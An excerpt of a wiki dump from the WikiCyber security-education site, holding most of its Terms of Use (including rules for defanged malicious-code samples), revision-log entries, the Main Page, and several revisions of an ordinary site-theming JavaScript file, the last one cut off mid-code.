Whenever the Site permits the upload or embedding of images or other files, an Author must keep each file reasonably sized for its purpose. For example, an image that shows only a small diagram or arrow must not be uploaded as a multi-megapixel or 4K image. An Author must resize, crop, or compress files before uploading them, and must not upload files that are larger than needed to serve their educational purpose. The Operator may set maximum file sizes and dimensions, and may resize, replace, or remove any file that is unreasonably large, without notice.

=== 6.3 Responsible Disclosure ===
If you discover a security vulnerability affecting the Site, you are requested to report it promptly to the contact address in Section 13 and not to exploit it, disclose it publicly before the Operator has had a reasonable opportunity to remediate it, or access data that is not your own.

=== 6.4 Malicious Code and Educational Samples ===
'''6.4.1 Rule and definition.''' "'''Malicious Code'''" means any software, script, macro, document, shellcode, payload, or other code that is designed to, or is reasonably capable of, damaging, disrupting, or gaining unauthorized access to a computer system, network, account, or data, including malware, ransomware, spyware, backdoors, worms, credential stealers, and working exploits. You may not post, embed, upload, host, or link to Malicious Code on the Site, except as an Educational Sample that complies with every requirement of this Section 6.4. Section 6(c) and this Section 6.4 are to be read together: nothing in this Section 6.4 permits any use that Section 6 otherwise prohibits.

'''6.4.2 Educational Sample.''' An "'''Educational Sample'''" is an excerpt or illustration of Malicious Code that satisfies all of the following:
:(a) it is included solely to explain how an attack works or to help readers detect, analyze, mitigate, or defend against it;
:(b) it is clearly labeled, immediately above the sample, with a visible notice stating that it is a defanged educational sample;
:(c) it is Defanged as required by Section 6.4.3;
:(d) it is no longer than is reasonably necessary for its educational purpose, and is accompanied by explanatory text, including how the technique can be detected or prevented; and
:(e) it does not exploit a vulnerability for which no vendor fix, patch, or mitigation has been publicly released.

'''6.4.3 Defanged.''' Code is "'''Defanged'''" only if all of the following are true:
:(a) it appears solely as human-readable text inline in the page (for example, in a code block), and not as a file, archive, attachment, download, or embedded object;
:(b) it is not compiled, packed, obfuscated, or encoded (for example, as an executable, library, installer, script bundle, or an encoded blob such as Base64 or hexadecimal data), and it does not contain raw shellcode or any other byte sequence that would run, or decode into something that would run, if copied;
:(c) it is incomplete in a way that prevents it from working as written against a real system, because it omits at least one element essential to its operation (such as a functional payload, a final stage, a working key, or target-specific values), and no reader can make it function without writing that element themselves; and
:(d) every network address, hostname, URL, credential, and other target or infrastructure value in it is an inert placeholder, such as the loopback address 127.0.0.1 (or ::1), an address in the documentation ranges 192.0.2.0/24, 198.51.100.0/24, or 203.0.113.0/24 (or 2001:db8::/32), a reserved name such as example.com, example.net, or example.org, or a name ending in .test, .example, or .invalid, and none identifies a real person, organization, system, or account.

'''6.4.4 No hosting or linking.''' The Site does not host executable, compiled, or otherwise runnable Malicious Code, and you may not upload or attempt to upload any such file. You may not post a link to any page, repository, or file from which live malware or a working exploit can be downloaded. Links to published analysis, advisories, and documentation (for example, a vendor advisory or a CVE record) that do not themselves distribute working Malicious Code are permitted. An indicator of compromise taken from real malware (for example, an address or domain) may be shown only in defanged notation (for example, "hxxp" for "http" and "[.]" for ".") and with a cited source.

'''6.4.5 Review, removal, and responsibility.''' The Operator and its reviewers determine in their sole discretion whether Content is an Educational Sample, and may reject, redact, or remove any Content that does not clearly meet this Section 6.4, without notice. Labeling Content as an educational sample does not make it one. You must not complete, restore, recompile, decode, or otherwise re-weaponize any Educational Sample, and you may run or test such material only on systems that you own or are expressly authorized in writing to test, in accordance with Section 6(a). Compliance with this Section 6.4 is a minimum requirement and does not make any use lawful. You remain solely responsible for your own conduct.

=== 6.5 Export Controls and Sanctions ===
'''6.5.1 Compliance with export laws.''' The Site and its Content include technical information about computer security, cryptography, and attack and defense techniques that may be subject to United States export control and sanctions laws, including the Export Administration Regulations (15 C.F.R. Parts 730–774) and the economic sanctions regulations administered by the U.S. Department of the Treasury's Office of Foreign Assets Control (together, "'''Export Laws'''"). You may not access, use, download, or export, re-export, or transfer the Site or any Content in violation of Export Laws or any other applicable export, import, or sanctions law. You are solely responsible for determining whether your own access to, use of, or transfer of Content is lawful where you are located and under the laws that apply to you.

'''6.5.2 Restricted persons and locations.''' You represent and warrant that you are not (a) located in, organized under the laws of, or ordinarily resident in a country or region that is the subject of a comprehensive United States embargo or sanctions program, as designated from time to time (for example, Iran, North Korea, and Syria, and any other country or region so designated); (b) identified on, or owned or controlled by a person identified on, any United States government list of prohibited, denied, or restricted parties, including the Specially Designated Nationals and Blocked Persons List, the Denied Persons List, the Entity List, and the Unverified List; or (c) otherwise prohibited by Export Laws from receiving the Content or from providing technical data or services to the Operator or to the Site.

'''6.5.3 Authors and technical contributions.''' A person described in Section 6.5.2 may not hold an Author account and may not submit, edit, or otherwise contribute technical data, technical information, source code, or other Content to the Site. The Operator may decline, suspend, or revoke any account, and may remove any Contribution, where the Operator believes, in its sole discretion, that holding the account or accepting the Contribution would or might violate Export Laws. An Author must not use a proxy, VPN, third-party account, or any other means to conceal their location or identity in order to circumvent this Section 6.5.

'''6.5.4 No representation of exportability.''' The Operator makes no representation that the Content is appropriate or available for use or export in any location, and does not provide an export classification for any Content. The Operator may restrict or block access to the Site, or to any part of it, from any location as it considers necessary to comply with law, without notice or liability.

== 7. Enforcement and Termination ==

'''7.1 Remedies.''' If the Operator believes, in its sole discretion, that you have violated or are likely to violate these Terms, the Operator may, at any time and without prior notice: (a) remove, edit, or restrict access to any Content; (b) suspend (temporarily or indefinitely) or permanently revoke your account or your access to the Site; (c) cooperate with law enforcement and other governmental authorities; and (d) take any other action permitted by law or in equity.

'''7.2 Unlawful use.''' '''Use of the Site to gain unauthorized access to any system, to commit any crime, or for any other unlawful purpose is prohibited and may result in legal action.'''

'''7.3 Legal process.''' The Operator may disclose information about you or your use of the Site where it believes in good faith that disclosure is required by law, legal process, or governmental request, or is necessary to protect the rights, property, or safety of the Operator, the Site, or others.

'''7.4 Termination by you; effect of termination.''' You may stop using the Site at any time. Upon suspension or termination of your access for any reason, your right to use the Site ceases immediately. Termination does not revoke, and does not entitle you to the removal of, any license granted or Contribution made under Section 2.

'''7.5 No liability.''' The WikiCyber Parties shall have no liability to you for any action taken in good faith under this Section 7.

== 8. Copyright Complaints ==

'''8.1 Notice of claimed infringement.''' The Operator respects intellectual property rights and responds to notices of alleged copyright infringement in accordance with applicable law, including Title 17, United States Code, Section 512. If you believe that Content on the Site infringes a copyright that you own or control, you may submit a written notice to the contact address in Section 13 that includes:
:(a) your physical or electronic signature, or that of a person authorized to act on behalf of the copyright owner;
:(b) identification of the copyrighted work claimed to have been infringed;
:(c) identification of the material claimed to be infringing, with the URL of the page on which it appears, in sufficient detail to permit the Operator to locate it;
:(d) your name, mailing address, telephone number, and email address;
:(e) a statement that you have a good-faith belief that the use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law; and
:(f) a statement that the information in the notice is accurate and, '''under penalty of perjury''', that you are authorized to act on behalf of the owner of the exclusive right allegedly infringed.

'''8.2 Action upon notice.''' Upon receipt of a notice that substantially complies with Section 8.1, the Operator may remove or disable access to the identified material and may notify the Author who submitted it.

'''8.3 Counter-notification.''' An Author whose Content has been removed pursuant to Section 8.2 may submit a written counter-notice to the contact address in Section 13 that includes: (a) the Author's physical or electronic signature; (b) identification of the material removed and the location at which it appeared before removal; (c) a statement, '''under penalty of perjury''', that the Author has a good-faith belief that the material was removed as a result of mistake or misidentification; and (d) the Author's name, address, and telephone number, and a statement that the Author consents to the jurisdiction of the federal district court for the judicial district in which the Author's address is located (or, if the address is outside the United States, any judicial district in which the Operator may be found) and will accept service of process from the person who submitted the original notice. Upon receipt of a compliant counter-notice, the Operator may forward it to the complaining party and may restore the material, in accordance with applicable law, unless the complaining party notifies the Operator that it has filed an action seeking a court order against the Author.

'''8.4 Repeat infringers.''' In appropriate circumstances, the Operator will suspend or terminate the accounts of Authors who are repeat infringers of copyright.

'''8.5 Misrepresentation.''' You may be held liable for damages, including costs and attorneys' fees, if you knowingly and materially misrepresent that material is infringing or was removed by mistake or misidentification.

== 9. Links and Third-Party Content ==

The Site may contain links to, or reproduce content from, websites, services, and materials that are owned or operated by third parties. Such materials include links to external web pages, tools, repositories, videos, downloads (including practice images and files), and any other service mentioned on the Site (collectively, "'''Third-Party Materials'''"). The Operator does not control, create, update, monitor, endorse, or adopt any Third-Party Materials, makes no guarantee that they are accurate, complete, current, safe, or lawful, and assumes no responsibility for their content, availability, security, or privacy practices. Downloaded files in particular may contain malware or be unsuitable for your systems; you should open them only in an isolated environment. Your correspondence or dealings with, or participation in promotions of, any third party found on or through the Site are solely between you and that third party. You decide whether to access or use Third-Party Materials, you do so at your own risk, and your use is governed by the terms and policies of that third party.

== 10. Privacy ==

'''10.1 Information collected.''' The Operator collects and uses limited information, such as usernames, email addresses associated with accounts, and server logs, for the purposes of operating, maintaining, and securing the Site.

'''10.2 Public nature of Contributions.''' All Contributions that are published on the Site, including the Author's username and edit history, are public and are not confidential.

'''10.3 Service providers.''' Some of the services that operate the Site, including hosting infrastructure, are provided by Akamai Technologies, Inc. (Linode). Server logs and other data described in Section 10.1 may be stored and processed on that provider's infrastructure.

'''10.4 Children.''' The Site is not intended for, and the Operator does not knowingly collect personal information from, children under 13 (see Section 3.9). A parent or legal guardian who believes that a child under 13 has provided personal information to the Operator may contact the Operator at the address in Section 13.1, and the Operator will delete that information.

'''10.5 Supplemental Policies.''' Your use of the Site is also subject to the Supplemental Policies, which are incorporated into and form part of these Terms.

== 11. Disclaimer of Warranties; Limitation of Liability ==

'''11.1 Disclaimer of warranties.''' THE SITE AND ALL CONTENT ARE PROVIDED "AS IS" AND "AS AVAILABLE," WITHOUT WARRANTIES OF ANY KIND, WHETHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING ANY WARRANTIES OF ACCURACY, COMPLETENESS, TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THE OPERATOR DOES NOT WARRANT THAT THE SITE OR THE CONTENT WILL BE UNINTERRUPTED, TIMELY, ERROR-FREE, SECURE, OR FREE OF HARMFUL COMPONENTS.

'''11.2 Exclusion of damages.''' TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL ANY OF THE WIKICYBER PARTIES BE LIABLE TO YOU OR TO ANY THIRD PARTY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES, OR FOR ANY LOSS OF DATA, PROFITS, REVENUE, GOODWILL, OR SYSTEM AVAILABILITY, ARISING OUT OF OR IN CONNECTION WITH THESE TERMS, THE SITE, OR THE CONTENT, OR YOUR USE OF, OR INABILITY TO USE, THE SITE OR THE CONTENT, WHETHER BASED ON WARRANTY, CONTRACT, TORT (INCLUDING NEGLIGENCE), STATUTE, OR ANY OTHER LEGAL THEORY, AND EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

'''11.3 Limitation of aggregate liability.''' BECAUSE THE SITE IS PROVIDED FREE OF CHARGE, TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE TOTAL AGGREGATE LIABILITY OF THE WIKICYBER PARTIES FOR ALL CLAIMS ARISING OUT OF OR RELATING TO THESE TERMS, THE SITE, OR THE CONTENT SHALL NOT EXCEED ZERO U.S. DOLLARS (US$0.00).

'''11.4 Exceptions.''' Nothing in these Terms excludes or limits any liability that cannot be excluded or limited under applicable law. Some jurisdictions do not allow the exclusion of certain warranties or the limitation of certain damages, and in those jurisdictions the exclusions and limitations in this Section 11 apply only to the fullest extent permitted.

'''11.5 Basis of the bargain.''' You acknowledge that the disclaimers and limitations in this Section 11 reflect a reasonable allocation of risk, that the Site is provided free of charge in reliance on them, and that they apply even if any limited remedy fails of its essential purpose.

== 12. Indemnification ==

'''12.1 Indemnity.''' To the fullest extent permitted by applicable law, you agree to defend, indemnify, and hold harmless the WikiCyber Parties from and against any and all claims, demands, actions, liabilities, damages, losses, and expenses (including reasonable attorneys' fees and costs) arising out of or relating to: (a) your breach of these Terms; (b) your violation of any law or of any right of a third party; or (c) your unauthorized or unlawful use of the Site or the Content.

'''12.2 Procedure.''' The Operator will use reasonable efforts to notify you of any claim for which it seeks indemnification, provided that failure to do so does not relieve you of your obligations except to the extent you are materially prejudiced. The Operator may, at its option, assume the exclusive defense and control of any such claim, at your expense, and you shall cooperate with that defense and shall not settle any such claim without the Operator's prior written consent.

== 13. Contact and Notices ==

'''13.1 Contact.''' Questions regarding these Terms, notices of claimed copyright infringement and counter-notices under Section 8, and reports under Section 6.3 should be directed to: '''admin@wikicyber.org'''.

'''13.2 Notices to you.''' The Operator may provide notices to you by posting them on the Site or by sending them to the email address associated with your account, if any. Notices so given are deemed received when posted or sent.

'''13.3 Electronic communications.''' You consent to receive communications from the Operator in electronic form and agree that electronic communications satisfy any legal requirement that such communications be in writing.

'''13.4 Account and service emails; no marketing.''' By accepting an account, an Author agrees that the Operator may send email to the address associated with the account for purposes related to the Site, such as account and security messages, password resets, editorial review and draft-status notices, notices of changes to these Terms or the Supplemental Policies, and responses to your inquiries. The Operator does not send advertising or marketing messages and does not contact you by telephone or text message. Some categories of email (such as review notifications) may be switched off in your preferences; notices about these Terms, legal notices, and security messages may be sent regardless. You represent that you own or are authorized to use the email address you give the Operator.

== 14. Modifications to These Terms ==

The Operator reserves the right, in its sole discretion, to modify these Terms at any time. Modifications become effective upon posting on this page, and the "Last Updated" date above will be revised accordingly. Your continued access to or use of the Site after modifications are posted constitutes your acceptance of the modified Terms. You are responsible for reviewing these Terms periodically; prior versions are available through this page's history. No modification revokes any license granted under the License before the effective date of that modification.

== 15. Governing Law and General Provisions ==

'''15.1 Governing law.''' These Terms, and any dispute arising out of or relating to them or to the Site, are governed by the laws of the State of California, United States of America, without regard to its conflict-of-laws principles.

'''15.2 Jurisdiction and venue.''' Subject to Sections 15.3 and 15.12 through 15.15, you irrevocably consent to the exclusive jurisdiction and venue of the state and federal courts located in the State of California for any such dispute, and waive any objection based on inconvenient forum.

'''15.3 Equitable relief.''' Notwithstanding Sections 15.2 and 15.12, either party may seek injunctive or other equitable relief in any court of competent jurisdiction to prevent or restrain any actual or threatened violation of these Terms, infringement or misappropriation of intellectual property rights, or misuse of the Site.

'''15.4 Severability.''' If any provision of these Terms is held to be invalid, illegal, or unenforceable, that provision shall be enforced to the maximum extent permissible and the remaining provisions shall continue in full force and effect.

'''15.5 No waiver.''' The failure of the Operator to exercise or enforce any right or provision of these Terms does not constitute a waiver of that right or provision. Any waiver must be in writing and signed by the Operator to be effective.

'''15.6 Entire agreement; order of precedence.''' These Terms, together with the Supplemental Policies and, as to Content, the License, constitute the entire agreement between you and the Operator regarding the Site and supersede all prior or contemporaneous understandings on that subject. In the event of a conflict, (a) the License governs the rights granted in Content, and (b) otherwise, these Terms prevail over the Supplemental Policies.

'''15.7 Assignment.''' You may not assign or transfer these Terms or any rights under them without the Operator's prior written consent, and any purported assignment in violation of this Section is void. The Operator may assign these Terms, in whole or in part, without notice.

'''15.8 Third-party beneficiaries.''' Except that the WikiCyber Parties are intended third-party beneficiaries of Sections 11 and 12, these Terms confer no rights on any person other than you and the Operator.

'''15.9 Force majeure.''' The Operator shall not be liable for any failure or delay in performance caused by events beyond its reasonable control, including failures of internet, hosting, or power services, labor disputes, natural disasters, governmental action, or attacks on the Site.

'''15.10 Digital identity and age-verification laws.''' The Site is operated from the United States, does not require or collect government-issued identification or biometric data, and does not perform age or identity verification. If you are located in, or are a resident or citizen of, a country or region whose laws require a website or online service to implement digital identity, government-ID, or age-verification measures in order to serve its users (for example, the United Kingdom or Australia), you agree that you will not access or use the Site or its services while those requirements apply. You are responsible for determining whether the laws of your location impose such requirements. The Operator does not implement such measures and does not accept that those laws apply to the Operator or the Site. The Operator may block or restrict access from any country or region at any time and without notice.

'''15.11 Survival.''' Sections that by their nature should survive the termination of your access to the Site shall so survive, including Sections 2, 3.7, 3.8, 3.9(c), 4, 5, 6, 7, 8, 9, 11, 12, 13, and 15.

'''15.12 Informal resolution and binding arbitration.'''
:(a) '''Informal resolution first.''' Before starting an arbitration, a party must send the other a written notice describing the dispute and the relief sought (to the Operator, at the address in Section 13.1; to you, at the email address associated with your account), and the parties will try in good faith to resolve it informally for at least thirty (30) days after the notice is received.
:(b) '''Agreement to arbitrate.''' If a dispute is not resolved within that period, then, except as provided in Section 15.12(e) and Section 15.15, you and the Operator agree that any dispute, claim, or controversy arising out of or relating to these Terms, the Site, or the Content, whether based in contract, tort, statute, or otherwise, will be resolved exclusively by final and binding arbitration on an individual basis, and not in court before a judge or jury. This Section 15.12 is governed by the Federal Arbitration Act (9 U.S.C. § 1 et seq.).
:(c) '''Rules and administrator.''' The arbitration will be administered by the American Arbitration Association ("AAA") under its Consumer Arbitration Rules in effect when the arbitration is started, as modified by this Section. The rules and filing instructions are available at https://www.adr.org. The arbitration will be conducted by a single arbitrator, in writing or by video or telephone conference, unless the arbitrator decides that an in-person hearing is necessary, in which case it will be held in the county where you live or another place that the parties agree on.
:(d) '''Costs.''' Fees and costs will be allocated under the AAA Consumer Arbitration Rules. If those rules would require you to pay more than you would have paid to file a lawsuit in the state court of the county where you live, the Operator will pay the excess. Each party bears its own attorneys' fees, except where applicable law or the arbitrator's authority under this Section permits an award of fees.
:(e) '''Exceptions.''' Either party may (i) bring an individual claim in small claims court if the claim qualifies; (ii) seek injunctive or other equitable relief under Section 15.3; and (iii) bring a claim for public injunctive relief only in court, as provided in Section 15.14.
:(f) '''Authority of the arbitrator.''' The arbitrator may award any individual relief that a court could award on the claims properly before the arbitrator, but may not award relief for or against anyone who is not a party. The arbitrator's decision is final, and a court having jurisdiction may enter judgment on it. The arbitrator, and not a court, decides whether a dispute falls within this Section 15.12, except that a court decides whether Section 15.13 (class action waiver) is enforceable.

'''15.13 Class action and jury waiver.''' To the fullest extent permitted by applicable law, you and the Operator each waive the right to participate in, or to receive money or other relief from, any class, collective, consolidated, representative, or private-attorney-general action or proceeding against the other, and agree that any dispute will be resolved on an individual basis only. The arbitrator may not consolidate the claims of more than one person or preside over any form of class or representative proceeding. If a court finds this Section 15.13 unenforceable as to a claim, then that claim (and only that claim) must be brought in court under Section 15.2 and not in arbitration, and the remaining claims will be arbitrated. To the fullest extent permitted by law, each party also waives any right to a jury trial in any dispute that proceeds in court.

'''15.14 Public injunctive relief.''' Nothing in this Section 15 waives any right to seek public injunctive relief that cannot lawfully be waived. If such a claim is pursued, it must be brought in court under Section 15.2, and any other claims will be arbitrated; the court action will be stayed until the arbitration has concluded, to the extent permitted by law.

'''15.15 Opt-out; changes; severability of Section 15.12.'''
:(a) '''Opt-out.''' You may opt out of Sections 15.12 and 15.13 by sending the Operator a written notice, from the email address associated with your account, to the address in Section 13.1, within thirty (30) days after you first accept these Terms (or, for an existing Author, within thirty (30) days after the date these provisions are first published on the Site). The notice must state your username and that you opt out of arbitration. If you opt out, Section 15.2 applies instead of Sections 15.12 and 15.13, and the other provisions of these Terms are unaffected.
:(b) '''Changes.''' If the Operator changes this Section 15 in the future, the change does not apply to any dispute for which notice under Section 15.12(a) was given before the change took effect.
:(c) '''Minors.''' To the extent that a person is a minor under applicable law, Sections 15.12 and 15.13 apply only to the extent permitted by that law.
:(d) '''Severability.''' If any part of Section 15.12 other than Section 15.13 is held unenforceable, that part will be severed and the rest will remain in effect.

WikiCyber:Terms of Use

2026-10-31T17:08:26Z

AdminUser: Publish reviewed Terms of Use; $10 cap with statutory exceptions

Main Page

2026-10-25T20:22:09Z

AdminUser: Add WikiCyber Discord community invite

Welcome to '''WikiCyber''', a clear, practical reference for learning cybersecurity.

Explore practical guidance on operating systems, network security, and digital forensics.

== Browse by topic ==
* [[:Category:Windows|Windows]] — accounts, policies, PowerShell, and system security.
* [[:Category:Linux|Linux]] — permissions, services, account auditing, and command-line guidance.
* [[:Category:Cisco|Cisco and networking]] — networking concepts, routing, and device configuration.
* [[:Category:Windows Forensics|Digital forensics]] — event logs, system artifacts, and investigation methods.

== Contributing ==
WikiCyber is a free educational project. Invited contributors develop articles, and assigned reviewers review drafts before publication.

* [[Help:Your first article|Writing your first article]]
* [[Special:AllPages|Browse all articles]]
* [[WikiCyber:Terms of Use|Terms of Use]]

== Community ==
Join the [https://discord.gg/UPEpFMHJEc WikiCyber Discord server] to connect with the community.

MediaWiki:Common.js

2026-10-17T04:25:19Z

AdminUser: Restore default Vector styling; preserve branded emails

MediaWiki:Common.js

2026-10-17T04:24:04Z

AdminUser: Restore default Vector styling; preserve branded emails

MediaWiki:Common.css

2026-10-17T04:24:03Z

AdminUser: Restore default Vector styling; preserve branded emails

Main Page

2026-10-17T04:24:03Z

AdminUser: Restore default Vector styling; preserve branded emails

MediaWiki:Common.js

2026-10-16T20:51:28Z

AdminUser: Remove homepage history/edit footer shortcuts

/* Any JavaScript here will be loaded for all users on every page load. */

/* The personal-menu "Sandbox" link (with icon) is now added server-side by the SandboxAccess extension.
The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;
restore it from this page's history if the extension is ever disabled. */

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */
mw.loader.using('mediawiki.util').then(function () {
$(function () {
if (!document.body.classList.contains('skin-vector-2022')) return;
var base = mw.util.getUrl('Main Page');
var terms = mw.util.getUrl('WikiCyber:Terms of Use');
var logo = document.querySelector('.mw-logo-container');
if (logo && !logo.querySelector('.wc-slogan')) {
var slogan = document.createElement('span'); slogan.className = 'wc-slogan';
slogan.textContent = 'Knowledge for a safer digital world'; logo.append(slogan);
}
function link(label, href) { var a = document.createElement('a'); a.textContent = label; a.href = href; return a; }
var header = document.querySelector('.vector-header-start');
if (header) {
var nav = document.createElement('nav'); nav.className = 'wc-header-nav'; nav.setAttribute('aria-label', 'Primary');
nav.append(link('Knowledge base', base + '#topics'), link('Resources', mw.util.getUrl('Special:AllPages')), link('Contribute', mw.util.getUrl('Help:Your first article')));
header.after(nav);
}
var icons = document.querySelector('#footer-icons');
if (icons) {
var li = icons.querySelector('#footer-shorerogerico') || document.createElement('li');
li.replaceChildren();
var sre = link('', 'https://kirillshore.com'); sre.className = 'wc-sre-logo';
var image = document.createElement('img'); image.src = '/images/branding/theme-v1/shore-roger-logo.svg'; image.alt = 'Shore-Roger Enterprises'; image.width = 124; image.height = 48;
sre.append(image); li.append(sre); icons.append(li);
var cc = icons.querySelector('#footer-copyrightico img');
if (cc && !cc.getAttribute('src')) cc.src = '/resources/assets/licenses/cc-by-sa.png';
}
// This acknowledgement is browser-local; it does not gate access or create a legal audit record.
var key = 'wikicyber-terms-revision-253', bar = document.createElement('section');
bar.className = 'wc-terms-bar'; bar.setAttribute('aria-labelledby', 'wc-terms-heading');
var copy = document.createElement('div'), heading = document.createElement('h2'), description = document.createElement('p');
heading.id = 'wc-terms-heading'; heading.textContent = 'Terms of Use & cookies';
description.append('By selecting “Accept and continue,” you agree to the ', link('Terms of Use', terms), '. Essential cookies only.');
copy.append(heading, description);
var actions = document.createElement('div'); actions.className = 'wc-terms-actions';
var accept = document.createElement('button'); accept.type = 'button'; accept.textContent = 'Accept and continue';
actions.append(link('Read the terms', terms), accept); bar.append(copy, actions); document.body.append(bar);
var footer = document.querySelector('#footer');
var originalPadding = document.body.style.paddingBottom;
function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + 'px'; }
function display(show) { bar.hidden = !show; spacing(); }
var accepted = false; try { accepted = localStorage.getItem(key) === 'accepted'; } catch (e) { /* Storage optional. */ }
display(!accepted);
new ResizeObserver(spacing).observe(bar);
accept.addEventListener('click', function () { try { localStorage.setItem(key, 'accepted'); } catch (e) { /* Dismiss for this page. */ } display(false); var content = document.getElementById('content'); if (content) { content.setAttribute('tabindex', '-1'); content.focus({ preventScroll: true }); } });
});
});

/* END WikiCyber corporate v1 */

MediaWiki:Common.js

2026-10-16T20:33:20Z

AdminUser: Update favicon and remove requested footer links

/* Any JavaScript here will be loaded for all users on every page load. */

/* The personal-menu "Sandbox" link (with icon) is now added server-side by the SandboxAccess extension.
The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;
restore it from this page's history if the extension is ever disabled. */

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */
mw.loader.using('mediawiki.util').then(function () {
$(function () {
if (!document.body.classList.contains('skin-vector-2022')) return;
var base = mw.util.getUrl('Main Page');
var terms = mw.util.getUrl('WikiCyber:Terms of Use');
var logo = document.querySelector('.mw-logo-container');
if (logo && !logo.querySelector('.wc-slogan')) {
var slogan = document.createElement('span'); slogan.className = 'wc-slogan';
slogan.textContent = 'Knowledge for a safer digital world'; logo.append(slogan);
}
function link(label, href) { var a = document.createElement('a'); a.textContent = label; a.href = href; return a; }
var header = document.querySelector('.vector-header-start');
if (header) {
var nav = document.createElement('nav'); nav.className = 'wc-header-nav'; nav.setAttribute('aria-label', 'Primary');
nav.append(link('Knowledge base', base + '#topics'), link('Resources', mw.util.getUrl('Special:AllPages')), link('Contribute', mw.util.getUrl('Help:Your first article')));
header.after(nav);
}
var icons = document.querySelector('#footer-icons');
if (icons) {
var li = icons.querySelector('#footer-shorerogerico') || document.createElement('li');
li.replaceChildren();
var sre = link('', 'https://kirillshore.com'); sre.className = 'wc-sre-logo';
var image = document.createElement('img'); image.src = '/images/branding/theme-v1/shore-roger-logo.svg'; image.alt = 'Shore-Roger Enterprises'; image.width = 124; image.height = 48;
sre.append(image); li.append(sre); icons.append(li);
var cc = icons.querySelector('#footer-copyrightico img');
if (cc && !cc.getAttribute('src')) cc.src = '/resources/assets/licenses/cc-by-sa.png';
}
// This acknowledgement is browser-local; it does not gate access or create a legal audit record.
var key = 'wikicyber-terms-revision-253', bar = document.createElement('section');
bar.className = 'wc-terms-bar'; bar.setAttribute('aria-labelledby', 'wc-terms-heading');
var copy = document.createElement('div'), heading = document.createElement('h2'), description = document.createElement('p');
heading.id = 'wc-terms-heading'; heading.textContent = 'Terms of Use & cookies';
description.append('By selecting “Accept and continue,” you agree to the ', link('Terms of Use', terms), '. Essential cookies only.');
copy.append(heading, description);
var actions = document.createElement('div'); actions.className = 'wc-terms-actions';
var accept = document.createElement('button'); accept.type = 'button'; accept.textContent = 'Accept and continue';
actions.append(link('Read the terms', terms), accept); bar.append(copy, actions); document.body.append(bar);
var footer = document.querySelector('#footer');
if (footer && mw.config.get('wgIsMainPage')) {
var tools = document.createElement('div'); tools.className = 'wc-home-tools';
tools.append(link('Page history', mw.util.getUrl('Main Page', { action: 'history' })));
if (mw.config.get('wgIsProbablyEditable')) tools.append(link('Edit Main Page', mw.util.getUrl('Main Page', { action: 'edit' })));
footer.append(tools);
}
var originalPadding = document.body.style.paddingBottom;
function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + 'px'; }
function display(show) { bar.hidden = !show; spacing(); }
var accepted = false; try { accepted = localStorage.getItem(key) === 'accepted'; } catch (e) { /* Storage optional. */ }
display(!accepted);
new ResizeObserver(spacing).observe(bar);
accept.addEventListener('click', function () { try { localStorage.setItem(key, 'accepted'); } catch (e) { /* Dismiss for this page. */ } display(false); var content = document.getElementById('content'); if (content) { content.setAttribute('tabindex', '-1'); content.focus({ preventScroll: true }); } });
});
});

/* END WikiCyber corporate v1 */

MediaWiki:Disclaimers

2026-10-16T20:33:20Z

AdminUser: Update favicon and remove requested footer links

MediaWiki:Privacy

2026-10-16T20:33:19Z

AdminUser: Update favicon and remove requested footer links

MediaWiki:Privacy

2026-10-16T20:32:40Z

AdminUser: Update favicon and remove requested footer links

MediaWiki:Disclaimers

2026-10-16T20:32:39Z

AdminUser: Update favicon and remove requested footer links

MediaWiki:Common.js

2026-10-16T20:32:38Z

AdminUser: Update favicon and remove requested footer links

/* Any JavaScript here will be loaded for all users on every page load. */

/* The personal-menu "Sandbox" link (with icon) is now added server-side by the SandboxAccess extension.
The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;
restore it from this page's history if the extension is ever disabled. */

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */
mw.loader.using('mediawiki.util').then(function () {
$(function () {
if (!document.body.classList.contains('skin-vector-2022')) return;
var base = mw.util.getUrl('Main Page');
var terms = mw.util.getUrl('WikiCyber:Terms of Use');
var logo = document.querySelector('.mw-logo-container');
if (logo && !logo.querySelector('.wc-slogan')) {
var slogan = document.createElement('span'); slogan.className = 'wc-slogan';
slogan.textContent = 'Knowledge for a safer digital world'; logo.append(slogan);
}
function link(label, href) { var a = document.createElement('a'); a.textContent = label; a.href = href; return a; }
var header = document.querySelector('.vector-header-start');
if (header) {
var nav = document.createElement('nav'); nav.className = 'wc-header-nav'; nav.setAttribute('aria-label', 'Primary');
nav.append(link('Knowledge base', base + '#topics'), link('Resources', mw.util.getUrl('Special:AllPages')), link('Contribute', mw.util.getUrl('Help:Your first article')));
header.after(nav);
}
var icons = document.querySelector('#footer-icons');
if (icons) {
var li = icons.querySelector('#footer-shorerogerico') || document.createElement('li');
li.replaceChildren();
var sre = link('', 'https://kirillshore.com'); sre.className = 'wc-sre-logo';
var image = document.createElement('img'); image.src = '/images/branding/theme-v1/shore-roger-logo.svg'; image.alt = 'Shore-Roger Enterprises'; image.width = 124; image.height = 48;
sre.append(image); li.append(sre); icons.append(li);
var cc = icons.querySelector('#footer-copyrightico img');
if (cc && !cc.getAttribute('src')) cc.src = '/resources/assets/licenses/cc-by-sa.png';
}
// This acknowledgement is browser-local; it does not gate access or create a legal audit record.
var key = 'wikicyber-terms-revision-253', bar = document.createElement('section');
bar.className = 'wc-terms-bar'; bar.setAttribute('aria-labelledby', 'wc-terms-heading');
var copy = document.createElement('div'), heading = document.createElement('h2'), description = document.createElement('p');
